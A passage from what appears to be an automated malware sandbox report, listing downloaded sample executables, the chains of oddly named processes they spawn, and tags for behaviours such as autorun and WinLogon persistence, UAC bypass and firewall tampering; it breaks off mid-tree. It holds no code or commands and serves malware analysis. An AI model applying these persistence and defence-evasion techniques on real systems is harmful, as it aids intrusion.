C:\Users\Admin\Downloads\240920-qltq3ayenq061645157812ff9d6fa0f18fac137727bb7d61779020748613a2fd855af42d2eN.exeC:\Users\Admin\Downloads\240920-qltq3ayenq061645157812ff9d6fa0f18fac137727bb7d61779020748613a2fd855af42d2eN.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Pdhkcb32.exeC:\Windows\system32\Pdhkcb32.exe5⤵
-
C:\Windows\SysWOW64\Qdoacabq.exeC:\Windows\system32\Qdoacabq.exe6⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Bpdnjple.exeC:\Windows\system32\Bpdnjple.exe7⤵
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qaah2sxhrk8ccc5a9f3ea214983ba2418b8fb4b4d333279caaf8c95703687bda36accdbe4aN.exeC:\Users\Admin\Downloads\240920-qaah2sxhrk8ccc5a9f3ea214983ba2418b8fb4b4d333279caaf8c95703687bda36accdbe4aN.exe4⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Bhkfkmmg.exeC:\Windows\system32\Bhkfkmmg.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Cgifbhid.exeC:\Windows\system32\Cgifbhid.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Cnfkdb32.exeC:\Windows\system32\Cnfkdb32.exe7⤵
-
C:\Windows\SysWOW64\Cnjdpaki.exeC:\Windows\system32\Cnjdpaki.exe8⤵
-
C:\Windows\SysWOW64\Ddgibkpc.exeC:\Windows\system32\Ddgibkpc.exe9⤵
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Damfao32.exeC:\Windows\system32\Damfao32.exe10⤵
-
C:\Windows\SysWOW64\Dglkoeio.exeC:\Windows\system32\Dglkoeio.exe11⤵
-
C:\Windows\SysWOW64\Eqgmmk32.exeC:\Windows\system32\Eqgmmk32.exe12⤵
-
C:\Windows\SysWOW64\Edionhpn.exeC:\Windows\system32\Edionhpn.exe13⤵
-
C:\Windows\SysWOW64\Fofilp32.exeC:\Windows\system32\Fofilp32.exe14⤵
-
C:\Windows\SysWOW64\Gpdennml.exeC:\Windows\system32\Gpdennml.exe15⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Halhfe32.exeC:\Windows\system32\Halhfe32.exe16⤵
-
C:\Windows\SysWOW64\Llcghg32.exeC:\Windows\system32\Llcghg32.exe17⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Pjjfdfbb.exeC:\Windows\system32\Pjjfdfbb.exe18⤵
-
C:\Windows\SysWOW64\Pcgdhkem.exeC:\Windows\system32\Pcgdhkem.exe19⤵
-
C:\Windows\SysWOW64\Aalmimfd.exeC:\Windows\system32\Aalmimfd.exe20⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Eaaiahei.exeC:\Windows\system32\Eaaiahei.exe21⤵
-
C:\Windows\SysWOW64\Fkgillpj.exeC:\Windows\system32\Fkgillpj.exe22⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Lajokiaa.exeC:\Windows\system32\Lajokiaa.exe23⤵
-
C:\Windows\SysWOW64\Mcoepkdo.exeC:\Windows\system32\Mcoepkdo.exe24⤵
- Modifies firewall policy service
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Modifies registry class
- System policy modification
-
C:\Windows\SysWOW64\Pilpfm32.exeC:\Windows\system32\Pilpfm32.exe25⤵
-
C:\Windows\SysWOW64\Bmimdg32.exeC:\Windows\system32\Bmimdg32.exe26⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Ljkghi32.exeC:\Windows\system32\Ljkghi32.exe27⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p15lfaxbmbed9f7a7c302a2f6481b205dd67dccd97_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p15lfaxbmbed9f7a7c302a2f6481b205dd67dccd97_JaffaCakes118.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\userinit.exeC:\Windows\userinit.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\Regsvr32.exeRegsvr32 C:\Windows\system32\MSWINSCK.OCX /s6⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 5967⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p6lqhsxdnd53f8316c266964d6539b5a4f55c50e8953f3bdeb507223d8966fb3a7725ae81fN.exeC:\Users\Admin\Downloads\240920-p6lqhsxdnd53f8316c266964d6539b5a4f55c50e8953f3bdeb507223d8966fb3a7725ae81fN.exe4⤵
-
C:\Windows\SysWOW64\Bknlbhhe.exeC:\Windows\system32\Bknlbhhe.exe5⤵
-
C:\Windows\SysWOW64\Ckgohf32.exeC:\Windows\system32\Ckgohf32.exe6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\Downloads\240920-qjjs3sydnnmain.bat4⤵
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
-
-
C:\Users\Admin\Downloads\240920-qgw1maycrqe928b15b158375e01d37293b637902e55acbaea06a679b1b1e9eb3eae9838808.exeC:\Users\Admin\Downloads\240920-qgw1maycrqe928b15b158375e01d37293b637902e55acbaea06a679b1b1e9eb3eae9838808.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-ps5w8swgle8a67a0f46624f85d6a2b135f42dd988def5cf8f795bb8e6b3e80a5a7e011323dN.exeC:\Users\Admin\Downloads\240920-ps5w8swgle8a67a0f46624f85d6a2b135f42dd988def5cf8f795bb8e6b3e80a5a7e011323dN.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\resources\themes\explorer.exec:\windows\resources\themes\explorer.exe5⤵
- Modifies visiblity of hidden/system files in Explorer
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe SE6⤵
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\resources\svchost.exec:\windows\resources\svchost.exe7⤵
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe PR8⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qb1fvsxfped43131875d36af3deaecb0fdd75ef3f9c94510d0685cabfe6e56ce72e139b795N.exeC:\Users\Admin\Downloads\240920-qb1fvsxfped43131875d36af3deaecb0fdd75ef3f9c94510d0685cabfe6e56ce72e139b795N.exe4⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Adds Run key to start application
-
C:\Users\Admin\Documents\DCSCMIN\IMDCSC.exe"C:\Users\Admin\Documents\DCSCMIN\IMDCSC.exe"5⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\Downloads\240920-prhqbawfnged987470d312b0ad62b6eabcd751b00b_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-prhqbawfnged987470d312b0ad62b6eabcd751b00b_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Suspicious use of UnmapMainImage
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9196 -s 3565⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\Downloads\240920-py23jaxamfed9dfdb924afd27029597dfba8e35903_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-py23jaxamfed9dfdb924afd27029597dfba8e35903_JaffaCakes118.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Downloads\240920-py23jaxamfed9dfdb924afd27029597dfba8e35903_JaffaCakes118.exe"C:\Users\Admin\Downloads\240920-py23jaxamfed9dfdb924afd27029597dfba8e35903_JaffaCakes118.exe"5⤵
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"7⤵
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p9yjgsxhqj25bafa2018b75ef616c76f48fe87aa33fd2b2afb9a1bc8923fbe92af82beb12eN.exeC:\Users\Admin\Downloads\240920-p9yjgsxhqj25bafa2018b75ef616c76f48fe87aa33fd2b2afb9a1bc8923fbe92af82beb12eN.exe4⤵
- Loads dropped DLL
- Suspicious use of UnmapMainImage
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9180 -s 2645⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-p4dl5axcmgeda1561b1b5f564349a7d3a8fb23117a_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p4dl5axcmgeda1561b1b5f564349a7d3a8fb23117a_JaffaCakes118.exe4⤵
-
C:\Windows\SysWOW64\rtmcodecs\iexpress.exe"C:\Windows\SysWOW64\rtmcodecs\iexpress.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\Downloads\240920-p9c8jsxhmp83bb58afe492a38d7eb9fee0543696ce0844c89b70eb5faee87f76218c21b717N.exeC:\Users\Admin\Downloads\240920-p9c8jsxhmp83bb58afe492a38d7eb9fee0543696ce0844c89b70eb5faee87f76218c21b717N.exe4⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\resources\themes\explorer.exec:\windows\resources\themes\explorer.exe5⤵
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe SE6⤵
-
\??\c:\windows\resources\svchost.exec:\windows\resources\svchost.exe7⤵
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p9w1naxhpqeda52dc5ca55d40d087dbac5aba60e07_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p9w1naxhpqeda52dc5ca55d40d087dbac5aba60e07_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-pye8rsxcrrf696fe58ff5ed8b84610d32dbfd0c9fb74ab01e8884ef1df45dc58ea43274ed3.exeC:\Users\Admin\Downloads\240920-pye8rsxcrrf696fe58ff5ed8b84610d32dbfd0c9fb74ab01e8884ef1df45dc58ea43274ed3.exe4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Downloads\240920-qeqqtsybrqfb603adcb40e71e06f1114e301aebb78be904818dff545a9c8158453057b0aa2N.exeC:\Users\Admin\Downloads\240920-qeqqtsybrqfb603adcb40e71e06f1114e301aebb78be904818dff545a9c8158453057b0aa2N.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Pfojdh32.exeC:\Windows\system32\Pfojdh32.exe5⤵
-
C:\Windows\SysWOW64\Paihlpfi.exeC:\Windows\system32\Paihlpfi.exe6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Aalmimfd.exeC:\Windows\system32\Aalmimfd.exe7⤵
-
C:\Windows\SysWOW64\Ddklbd32.exeC:\Windows\system32\Ddklbd32.exe8⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Fnffhgon.exeC:\Windows\system32\Fnffhgon.exe9⤵
-
C:\Windows\SysWOW64\Lkqgno32.exeC:\Windows\system32\Lkqgno32.exe10⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Mociol32.exeC:\Windows\system32\Mociol32.exe11⤵
-
C:\Windows\SysWOW64\Pkklbh32.exeC:\Windows\system32\Pkklbh32.exe12⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-pwhacawhmaed9ba968cf6a93ebba90300b0b2612c8_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pwhacawhmaed9ba968cf6a93ebba90300b0b2612c8_JaffaCakes118.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10748 -s 3245⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10748 -s 4045⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-pwx1ssxckped9c0c1b20b1873ca8c8fbf5be3036f6_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pwx1ssxckped9c0c1b20b1873ca8c8fbf5be3036f6_JaffaCakes118.exe4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\Downloads\240920-pskajaxapp52271c0a322dc8086b4773cada12947eef8b84ba166ca4be515f021523217e59N.exeC:\Users\Admin\Downloads\240920-pskajaxapp52271c0a322dc8086b4773cada12947eef8b84ba166ca4be515f021523217e59N.exe4⤵
-
C:\Users\Admin\Downloads\240920-pskajaxapp52271c0a322dc8086b4773cada12947eef8b84ba166ca4be515f021523217e59N.exeC:\Users\Admin\Downloads\240920-pskajaxapp52271c0a322dc8086b4773cada12947eef8b84ba166ca4be515f021523217e59N.exe -deleter5⤵
-
-
-
C:\Users\Admin\Downloads\240920-pznxasxdmk384601ce9d5b15f2fc46f59ad2ea668675787b217565bc141291233190c25390N.exeC:\Users\Admin\Downloads\240920-pznxasxdmk384601ce9d5b15f2fc46f59ad2ea668675787b217565bc141291233190c25390N.exe4⤵
- Loads dropped DLL
-
-
C:\Users\Admin\Downloads\240920-pzadxaxanced9e408758538897b98a27f61eecea9e_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pzadxaxanced9e408758538897b98a27f61eecea9e_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-p9hg9sxeqd0669979483ebee857ec43749e104d092f79049a7167639d47a3431120485a1e4N.exeC:\Users\Admin\Downloads\240920-p9hg9sxeqd0669979483ebee857ec43749e104d092f79049a7167639d47a3431120485a1e4N.exe4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Gqkhda32.exeC:\Windows\system32\Gqkhda32.exe5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Downloads\240920-qkbtvsyaqe944a7ea18b7fcb516eb1ff84ec98faad31719c9bbe530e55a9dfa4028c3f0cbbN.exeC:\Users\Admin\Downloads\240920-qkbtvsyaqe944a7ea18b7fcb516eb1ff84ec98faad31719c9bbe530e55a9dfa4028c3f0cbbN.exe4⤵
-
C:\Windows\SysWOW64\Egkddo32.exeC:\Windows\system32\Egkddo32.exe5⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Fjjjgh32.exeC:\Windows\system32\Fjjjgh32.exe6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10064 -s 3847⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p7xt6sxgqmeda3c8802aa54cb0c5b574604a256cea_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p7xt6sxgqmeda3c8802aa54cb0c5b574604a256cea_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-p5hx8sxfnr687685909ef3d3d14d6f42e3517fb6189f7dfc5eac66b5c3c3beb65b0389ca90N.exeC:\Users\Admin\Downloads\240920-p5hx8sxfnr687685909ef3d3d14d6f42e3517fb6189f7dfc5eac66b5c3c3beb65b0389ca90N.exe4⤵
-
C:\Windows\SysWOW64\Gbhhieao.exeC:\Windows\system32\Gbhhieao.exe5⤵
-
C:\Windows\SysWOW64\Maaekg32.exeC:\Windows\system32\Maaekg32.exe6⤵
-
C:\Windows\SysWOW64\Pfppoa32.exeC:\Windows\system32\Pfppoa32.exe7⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Bimach32.exeC:\Windows\system32\Bimach32.exe8⤵
-
C:\Windows\SysWOW64\Fifomlap.exeC:\Windows\system32\Fifomlap.exe9⤵
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-ptf99sxbjkfile.exeC:\Users\Admin\Downloads\240920-ptf99sxbjkfile.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-p959bsxfjb903caacf0bb4fd8772804bfa32faba64a3b668c3ed32e7b607943a54d33a6c37N.exeC:\Users\Admin\Downloads\240920-p959bsxfjb903caacf0bb4fd8772804bfa32faba64a3b668c3ed32e7b607943a54d33a6c37N.exe4⤵
-
C:\Windows\SysWOW64\Ggccllai.exeC:\Windows\system32\Ggccllai.exe5⤵
-
C:\Windows\SysWOW64\Lhdggb32.exeC:\Windows\system32\Lhdggb32.exe6⤵
-
C:\Windows\SysWOW64\Mkgmoncl.exeC:\Windows\system32\Mkgmoncl.exe7⤵
-
C:\Windows\SysWOW64\Pkklbh32.exeC:\Windows\system32\Pkklbh32.exe8⤵
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p9xl7axerdeda52ff7d3c9a15af9c7132ff50ed923_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p9xl7axerdeda52ff7d3c9a15af9c7132ff50ed923_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-p9zrjsxergeda53b48466d7a6c47d8e822caeb9b5f_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p9zrjsxergeda53b48466d7a6c47d8e822caeb9b5f_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qbdxvsyaml8abbdef95beac2aec293a8b8f0feedcf8941466fd2a6171e7c2d1f44d3a07019N.exeC:\Users\Admin\Downloads\240920-qbdxvsyaml8abbdef95beac2aec293a8b8f0feedcf8941466fd2a6171e7c2d1f44d3a07019N.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-p9x8qaxereeda53730e142fc1d1d24f231edc2d306_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p9x8qaxereeda53730e142fc1d1d24f231edc2d306_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-qa2brsyalk18c262c08dce6a59267af49ac575ddd996ebd7b1d8bcfb31cff9f9f9814cfd91.exeC:\Users\Admin\Downloads\240920-qa2brsyalk18c262c08dce6a59267af49ac575ddd996ebd7b1d8bcfb31cff9f9f9814cfd91.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-px53ssxajf4aa22b1a9231b6ca5a59bef2b6fac78427b2b4ee4423310b6a916344900095b2N.exeC:\Users\Admin\Downloads\240920-px53ssxajf4aa22b1a9231b6ca5a59bef2b6fac78427b2b4ee4423310b6a916344900095b2N.exe4⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Enemaimp.exeC:\Windows\system32\Enemaimp.exe5⤵
-
C:\Windows\SysWOW64\Oloipmfd.exeC:\Windows\system32\Oloipmfd.exe6⤵
-
C:\Windows\SysWOW64\Bmimdg32.exeC:\Windows\system32\Bmimdg32.exe7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Lmnlpcel.exeC:\Windows\system32\Lmnlpcel.exe8⤵
-
C:\Windows\SysWOW64\Gpgnjebd.exeC:\Windows\system32\Gpgnjebd.exe9⤵
-
C:\Windows\SysWOW64\Hjlaoioh.exeC:\Windows\system32\Hjlaoioh.exe10⤵
-
C:\Windows\SysWOW64\Ihjafd32.exeC:\Windows\system32\Ihjafd32.exe11⤵
-
C:\Windows\SysWOW64\Jjhjae32.exeC:\Windows\system32\Jjhjae32.exe12⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Kppbejka.exeC:\Windows\system32\Kppbejka.exe13⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Mhmmieil.exeC:\Windows\system32\Mhmmieil.exe14⤵
-
C:\Windows\SysWOW64\Qhbhapha.exeC:\Windows\system32\Qhbhapha.exe15⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-pxtprsxcpjed9cb2f3d3da05fc5ed9db498376aba6_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pxtprsxcpjed9cb2f3d3da05fc5ed9db498376aba6_JaffaCakes118.exe4⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Downloads\240920-pxtprsxcpjed9cb2f3d3da05fc5ed9db498376aba6_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pxtprsxcpjed9cb2f3d3da05fc5ed9db498376aba6_JaffaCakes118.exe5⤵
- Modifies WinLogon for persistence
- Impair Defenses: Safe Mode Boot
- Modifies WinLogon
-
-
-
C:\Users\Admin\Downloads\240920-qjpdkayanbedab501b5733193424402503aaf4ee27_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qjpdkayanbedab501b5733193424402503aaf4ee27_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-psckpaxapjed99228a19cead91bf9c52062803d509_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-psckpaxapjed99228a19cead91bf9c52062803d509_JaffaCakes118.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qbm6jayankeda64880f77ed2226cf9dd5cf314ae4e_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qbm6jayankeda64880f77ed2226cf9dd5cf314ae4e_JaffaCakes118.exe4⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\services.exe"C:\Users\Admin\AppData\Local\Temp\services.exe"5⤵
- Adds Run key to start application
-
-
-
C:\Users\Admin\Downloads\240920-qhjrpaxhrfedaa5ce0c0563665aacf51270300cd72_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qhjrpaxhrfedaa5ce0c0563665aacf51270300cd72_JaffaCakes118.exe4⤵
- Modifies visiblity of hidden/system files in Explorer
- Modifies Internet Explorer settings
-
C:\Users\Admin\Downloads\240920-qhjrpaxhrfedaa5ce0c0563665aacf51270300cd72_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-qhjrpaxhrfedaa5ce0c0563665aacf51270300cd72_JaffaCakes118.exe5⤵
- Modifies Internet Explorer start page
- Modifies registry class
-
-
-
C:\Users\Admin\Downloads\240920-p2l6gsxekmed9ff149f56b2740d186e53182369530_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p2l6gsxekmed9ff149f56b2740d186e53182369530_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-ptqtpswgpa43d30cb9d423e7cb712c63bbf1ab9ef621ce3f9d9ec2d03fadd7a87f144227aaN.exeC:\Users\Admin\Downloads\240920-ptqtpswgpa43d30cb9d423e7cb712c63bbf1ab9ef621ce3f9d9ec2d03fadd7a87f144227aaN.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Downloads\240920-ptqtpswgpa43d30cb9d423e7cb712c63bbf1ab9ef621ce3f9d9ec2d03fadd7a87f144227aaN.exe"C:\Users\Admin\Downloads\240920-ptqtpswgpa43d30cb9d423e7cb712c63bbf1ab9ef621ce3f9d9ec2d03fadd7a87f144227aaN.exe"5⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\syswow64\msiexec.exe6⤵
- Adds policy Run key to start application
- Blocklisted process makes network request
- Drops file in Program Files directory
-
-
-
-
C:\Users\Admin\Downloads\240920-qd47tsxgnb551069183cfa0c7842141924b36938e2469b84b74e63b6ae4b078240c91e273eN.exeC:\Users\Admin\Downloads\240920-qd47tsxgnb551069183cfa0c7842141924b36938e2469b84b74e63b6ae4b078240c91e273eN.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-p4d8naxcnaMonsterHunterWorldv20200109-v20231017Plus67Trainer.exeC:\Users\Admin\Downloads\240920-p4d8naxcnaMonsterHunterWorldv20200109-v20231017Plus67Trainer.exe4⤵
-
-
C:\Users\Admin\Downloads\240920-qdvndsxgmed7f287f64be25e712ef14f64de6802ef3b1dbcb251e9fce4e26171193ca525c4N.exeC:\Users\Admin\Downloads\240920-qdvndsxgmed7f287f64be25e712ef14f64de6802ef3b1dbcb251e9fce4e26171193ca525c4N.exe4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Djegekil.exeC:\Windows\system32\Djegekil.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-p96j4axhrjeda564fac46137aaedb49314112a83b0_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p96j4axhrjeda564fac46137aaedb49314112a83b0_JaffaCakes118.exe4⤵
-
C:\Windows\SysWOW64\wininet.exeC:\Windows\system32\wininet.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\wininet.exeC:\Windows\system32\wininet.exe6⤵
- Modifies registry class
-
C:\Windows\SysWOW64\wininet.exeC:\Windows\system32\wininet.exe7⤵
-
C:\Windows\SysWOW64\wininet.exeC:\Windows\system32\wininet.exe8⤵
- Modifies registry class
-
C:\Windows\SysWOW64\wininet.exeC:\Windows\system32\wininet.exe9⤵
-
C:\Windows\SysWOW64\wininet.exeC:\Windows\system32\wininet.exe10⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\wininet.exeC:\Windows\system32\wininet.exe11⤵
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-qgxbdsydjja02e4d5b4125aab036d9223b3fb522ee377e3e68b376aa01285c25446928a491N.exeC:\Users\Admin\Downloads\240920-qgxbdsydjja02e4d5b4125aab036d9223b3fb522ee377e3e68b376aa01285c25446928a491N.exe4⤵
- Modifies registry class
-
-
C:\Users\Admin\Downloads\240920-p7h11sxgpkeda384b6c7545da8e449b2778b94a289_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p7h11sxgpkeda384b6c7545da8e449b2778b94a289_JaffaCakes118.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-p8p6qaxhjreda44d9dd372786b7c8c9710442a294a_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p8p6qaxhjreda44d9dd372786b7c8c9710442a294a_JaffaCakes118.exe4⤵
- Modifies WinLogon for persistence
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\240920-pyd1psxakced9d5228f09a3b6ab41654ae4535e13b_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-pyd1psxakced9d5228f09a3b6ab41654ae4535e13b_JaffaCakes118.exe4⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\VIP72.exe"C:\Users\Admin\AppData\Roaming\VIP72.exe"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-p1cknaxdpm1fc10f9b2761624cc2fe649f39a53c6ffb5ead322076161e136b4ccf6ea3a465N.exeC:\Users\Admin\Downloads\240920-p1cknaxdpm1fc10f9b2761624cc2fe649f39a53c6ffb5ead322076161e136b4ccf6ea3a465N.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Ejjaqk32.exeC:\Windows\system32\Ejjaqk32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Fdbkja32.exeC:\Windows\system32\Fdbkja32.exe6⤵
-
C:\Windows\SysWOW64\Llngbabj.exeC:\Windows\system32\Llngbabj.exe7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Maaekg32.exeC:\Windows\system32\Maaekg32.exe8⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-p1gjlsxbjced9f12cb634ff080966701991f82d110_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-p1gjlsxbjced9f12cb634ff080966701991f82d110_JaffaCakes118.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11528 -s 2645⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Downloads\240920-pr5vvaxann96aef263cf8b4f89c56a0dc5e7fdf5461d161dec09c32b96779d42184554e437N.exeC:\Users\Admin\Downloads\240920-pr5vvaxann96aef263cf8b4f89c56a0dc5e7fdf5461d161dec09c32b96779d42184554e437N.exe4⤵
-
C:\Windows\SysWOW64\Dpopbepi.exeC:\Windows\system32\Dpopbepi.exe5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Fnjocf32.exeC:\Windows\system32\Fnjocf32.exe6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Llpchaqg.exeC:\Windows\system32\Llpchaqg.exe7⤵
